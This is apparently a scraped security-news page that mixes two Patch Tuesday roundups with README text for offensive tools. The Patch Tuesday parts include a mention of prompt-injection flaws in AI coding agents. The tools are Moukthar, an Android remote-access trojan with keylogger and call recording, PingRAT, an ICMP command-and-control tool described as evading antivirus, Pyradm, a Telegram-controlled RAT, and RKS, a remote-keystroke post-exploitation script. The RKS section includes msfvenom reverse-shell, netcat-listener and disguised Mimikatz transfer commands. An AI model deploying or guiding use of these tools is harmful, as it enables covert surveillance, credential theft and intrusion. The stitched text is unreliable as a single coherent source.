Patch Tuesday, February 2026 Edition

Microsoft today released updates to fix more than 50 security holes in its Windows operating systems and other software, including patches for a whopping six “zero-day” vulnerabilities that attackers are already exploiting in the wild.

Zero-day #1 this month is CVE-2026-21510, a security feature bypass vulnerability in Windows Shell wherein a single click on a malicious link can quietly bypass Windows protections and run attacker-controlled content without warning or consent dialogs. CVE-2026-21510 affects all currently supported versions of Windows.

The zero-day flaw CVE-2026-21513 is a security bypass bug targeting MSHTML, the proprietary engine of the default Web browser in Windows. CVE-2026-21514 is a related security feature bypass in Microsoft Word.

The zero-day CVE-2026-21533 allows local attackers to elevate their user privileges to “SYSTEM” level access in Windows Remote Desktop Services. CVE-2026-21519 is a zero-day elevation of privilege flaw in the Desktop Window Manager (DWM), a key component of Windows that organizes windows on a user’s screen. Microsoft fixed a different zero-day in DWM just last month.

The sixth zero-day is CVE-2026-21525, a potentially disruptive denial-of-service vulnerability in the Windows Remote Access Connection Manager, the service responsible for maintaining VPN connections to corporate networks.

Chris Goettl at Ivanti reminds us Microsoft has issued several out-of-band security updates since January’s Patch Tuesday. On January 17, Microsoft pushed a fix that resolved a credential prompt failure when attempting remote desktop or remote application connections. On January 26, Microsoft patched a zero-day security feature bypass vulnerability (CVE-2026-21509) in Microsoft Office.

Kev Breen at Immersive notes that this month’s Patch Tuesday includes several fixes for remote code execution vulnerabilities affecting GitHub Copilot and multiple integrated development environments (IDEs), including VS Code, Visual Studio, and JetBrains products. The relevant CVEs are CVE-2026-21516, CVE-2026-21523, and CVE-2026-21256.

Breen said the AI vulnerabilities Microsoft patched this month stem from a command injection flaw that can be triggered through prompt injection, or tricking the AI agent into doing something it shouldn’t — like executing malicious code or commands.

“Developers are high-value targets for threat actors, as they often have access to sensitive data such as API keys and secrets that function as keys to critical infrastructure, including privileged AWS or Azure API keys,” Breen said. “When organizations enable developers and automation pipelines to use LLMs and agentic AI, a malicious prompt can have significant impact. This does not mean organizations should stop using AI. It does mean developers should understand the risks, teams should clearly identify which systems and workflows have access to AI agents, and least-privilege principles should be applied to limit the blast radius if developer secrets are compromised.”

The SANS Internet Storm Center has a clickable breakdown of each individual fix this month from Microsoft, indexed by severity and CVSS score. Enterprise Windows admins involved in testing patches before rolling them out should keep an eye on askwoody.com, which often has the skinny on wonky updates. Please don’t neglect to back up your data if it has been a while since you’ve done that, and feel free to sound off in the comments if you experience problems installing any of these fixes.

Fragmented SSE Is a Risk You Can’t Afford

Cisco Secure Access solves the problem of point product patchworks, offering a unified architecture that moves with the user, not just the network.

Moukthar - Android Remote Administration Tool

Remote adminitration tool for android

Features

• Permissions bypass (android 12 below) https://youtube.com/shorts/-w8H0lkFxb0
• Keylogger https://youtube.com/shorts/Ll9dNrkjFOA
• Notifications listener
• SMS listener
• Phone call recording
• Image capturing and screenshots
• Video recording
• Persistence
• Read & write contacts
• List installed applications
• Download & upload files
• Get device location

Installation

• Clone repository console git clone https://github.com/Tomiwa-Ot/moukthar.git
• Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
• Move server files to /var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 . The default credentials are username: android and password: android
• Create new sql user mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
• Set database credentials in c2-server/.env and web-socket/.env
• Execute database.sql
• Start web socket server or deploy as service in linux console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
• Modify /etc/apache2/sites-available/000-default.conf ```console ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes

  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
  

- Modify/etc/apache2/apache2.confxml Comment this section # # Options FollowSymLinks # AllowOverride None # Require all denied #

Add this Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted - Increase php file upload max size/etc/php/./apache2/php.iniini ; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M - Set web socket server address in <script> tag inc2-server/src/View/home.phpandc2-server/src/View/features/files.phpconsole const ws = new WebSocket('ws://IP_ADDRESS:8080'); - Restart apache using the command belowconsole sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in clientfunctionality/Utils.javajava public static final String C2_SERVER = "http://localhost";

public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target

Screenshots

TODO

• Auto scroll logs on dashboard
• Screenshot not working
• Image/Video capturing doesn't work when application isn't in focus
• Downloading files in app using DownloadManager not working
• Listing constituents of a directory doesn't list all files/folders

Patch Tuesday, April 2025 Edition

Microsoft today released updates to plug at least 121 security holes in its Windows operating systems and software, including one vulnerability that is already being exploited in the wild. Eleven of those flaws earned Microsoft’s most-dire “critical” rating, meaning malware or malcontents could exploit them with little to no interaction from Windows users.

The zero-day flaw already seeing exploitation is CVE-2025-29824, a local elevation of privilege bug in the Windows Common Log File System (CLFS) driver.  Microsoft rates it as “important,” but as Chris Goettl from Ivanti points out, risk-based prioritization warrants treating it as critical.

This CLFS component of Windows is no stranger to Patch Tuesday: According to Tenable’s Satnam Narang, since 2022 Microsoft has patched 32 CLFS vulnerabilities — averaging 10 per year — with six of them exploited in the wild. The last CLFS zero-day was patched in December 2024.

Narang notes that while flaws allowing attackers to install arbitrary code are consistently top overall Patch Tuesday features, the data is reversed for zero-day exploitation.

“For the past two years, elevation of privilege flaws have led the pack and, so far in 2025, account for over half of all zero-days exploited,” Narang wrote.

Rapid7’s Adam Barnett warns that any Windows defenders responsible for an LDAP server — which means almost any organization with a non-trivial Microsoft footprint — should add patching for the critical flaw CVE-2025-26663 to their to-do list.

“With no privileges required, no need for user interaction, and code execution presumably in the context of the LDAP server itself, successful exploitation would be an attractive shortcut to any attacker,” Barnett said. “Anyone wondering if today is a re-run of December 2024 Patch Tuesday can take some small solace in the fact that the worst of the trio of LDAP critical RCEs published at the end of last year was likely easier to exploit than today’s example, since today’s CVE-2025-26663 requires that an attacker win a race condition. Despite that, Microsoft still expects that exploitation is more likely.”

Among the critical updates Microsoft patched this month are remote code execution flaws in Windows Remote Desktop services (RDP), including CVE-2025-26671, CVE-2025-27480 and CVE-2025-27482; only the latter two are rated “critical,” and Microsoft marked both of them as “Exploitation More Likely.”

Perhaps the most widespread vulnerabilities fixed this month were in web browsers. Google Chrome updated to fix 13 flaws this week, and Mozilla Firefox fixed eight bugs, with possibly more updates coming later this week for Microsoft Edge.

As it tends to do on Patch Tuesdays, Adobe has released 12 updates resolving 54 security holes across a range of products, including ColdFusion, Adobe Commerce, Experience Manager Forms, After Effects, Media Encoder, Bridge, Premiere Pro, Photoshop, Animate, AEM Screens, and FrameMaker.

Apple users may need to patch as well. On March 31, Apple released a huge security update (more than three gigabytes in size) to fix issues in a range of their products, including at least one zero-day flaw.

And in case you missed it, on March 31, 2025 Apple released a rather large batch of security updates for a wide range of their products, from macOS to the iOS operating systems on iPhones and iPads.

Earlier today, Microsoft included a note saying Windows 10 security updates weren’t available but would be released as soon as possible. It appears from browsing askwoody.com that this snafu has since been rectified. Either way, if you run into complications applying any of these updates please leave a note about it in the comments below, because the chances are good that someone else had the same problem.

As ever, please consider backing up your data and or devices prior to updating, which makes it far less complicated to undo a software update gone awry. For more granular details on today’s Patch Tuesday, check out the SANS Internet Storm Center’s roundup. Microsoft’s update guide for April 2025 is here.

For more details on Patch Tuesday, check out the write-ups from Action1 and Automox.

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PingRAT - Secretly Passes C2 Traffic Through Firewalls Using ICMP Payloads

Features:

• Uses ICMP for Command and Control
• Undetectable by most AV/EDR solutions
• Written in Go

Installation:

Download the binaries

or build the binaries and you are ready to go:

$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go

Usage:

Server:

./server -h
Usage of ./server:
  -d string
        Destination IP address
  -i string
        Listener (virtual) Network Interface (e.g. eth0)

Client:

./client -h
Usage of ./client:
  -d string
        Destination IP address
  -i string
        (Virtual) Network Interface (e.g., eth0)

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Pyradm - Python Remote Administration Tool Via Telegram

Remote administration crossplatfrom tool via telegram\ Coded with ❤️ python3 + aiogram3\ https://t.me/pt_soft

v0.3

• [X] Screenshot from target
• [X] Crossplatform
• [X] Upload/Download
• [X] Fully compatible shell
• [X] Process list
• [X] Webcam (video record or screenshot)
• [X] Geolocation
• [X] Filemanager
• [X] Microphone
• [X] Clipboard (text, image)

Functional

/start - start pyradm
/help - help
/shell - shell commands
/sc - screenshot
/download - download (abs. path)
/info - system info
/ip - public ip address and geolocation
/ps - process list
/webcam 5 - record video (secs)
/webcam - screenshot from camera
/fm - filemanager
/fm /home or /fm C:\
/mic 10 - record audio from mic
/clip - get clipboard data
Press button to download file
Send any file as file for upload to target

Install

• git clone https://github.com/akhomlyuk/pyradm.git
• cd pyradm
• pip3 install -r requirements.txt
• Put bot token to cfg.py, ask @Bothfather
• python3 main.py

Compile

• Put bot token to cfg.py
• pip install nuitka
• nuitka --mingw64 --onefile --follow-imports --remove-output -o pyradm.exe main.py

Screens

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RKS - A Script To Automate Keystrokes Through A Graphical Desktop Program

A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.

About RKS (RemoteKeyStrokes)

All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.

Help Menu

$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
    -c, --command <command | cmdfile>       Specify a command or a file containing to execute
    -i, --input <input_file>                Specify the local input file to transfer
    -o, --output <output_file>              Specify the remote output file to transfer
    -m, --method <method>                   Specify the file transfer or execution method
                                            (For file transfer "base64" is set by default if
                                            not specified. For execution method "none" is set
                                            by default if not specified)

    -p, --platform <operating_system>       Specify the operating system (windows is set by
                                            default if not specified)

    -w, --windowname <name>                     Specify t   he window name for graphical remote
                                            program (freerdp is set by default if not
                                            specified)

    -h, --help                              Display this help message

Usage

Internal Reconnaissance

• When running in command prompt

$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain

$ ./rks.h -c recon_cmds.txt

Execute Implant

• Execute an implant while reading the contents of the payload in powershell.

$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1

$ ./rks.sh -c implant.ps1

$ nc -lvnp 4444

File Transfer

• Transfer a file remotely when pivoting in a isolated network. If you want to specify the remote path on windows be sure to include quotes.

$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1

$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64

Specify Grapical Remote Software

• If you're targeting VNC network protocols you can specify the window name with tightvnc.

$ ./rks.sh -i implant.ps1 -w tightvnc

• If you're targeting legacy operating systems with older RDP authentication specify the window name with rdesktop.

$ ./rks.sh -i implant.bat -w rdesktop

TODO and Help Wanted

• Add text colors for better user experience

• Implement Base64 file transfer

• Implement Bin2Hex file transfer

• Implement a persistence function for both windows and linux.

• Implement antiforensics function for both windows and linux.

• Implement to read shellcode input and run C# implant and powershell runspace

• Implement privesc function for both windows and linux

References

• Video: sethc.exe Backdoor CMD Payload delivery (USB Rubber Ducky style)

• Original Script

• sticky_keys_hunter

Credits

• nopernik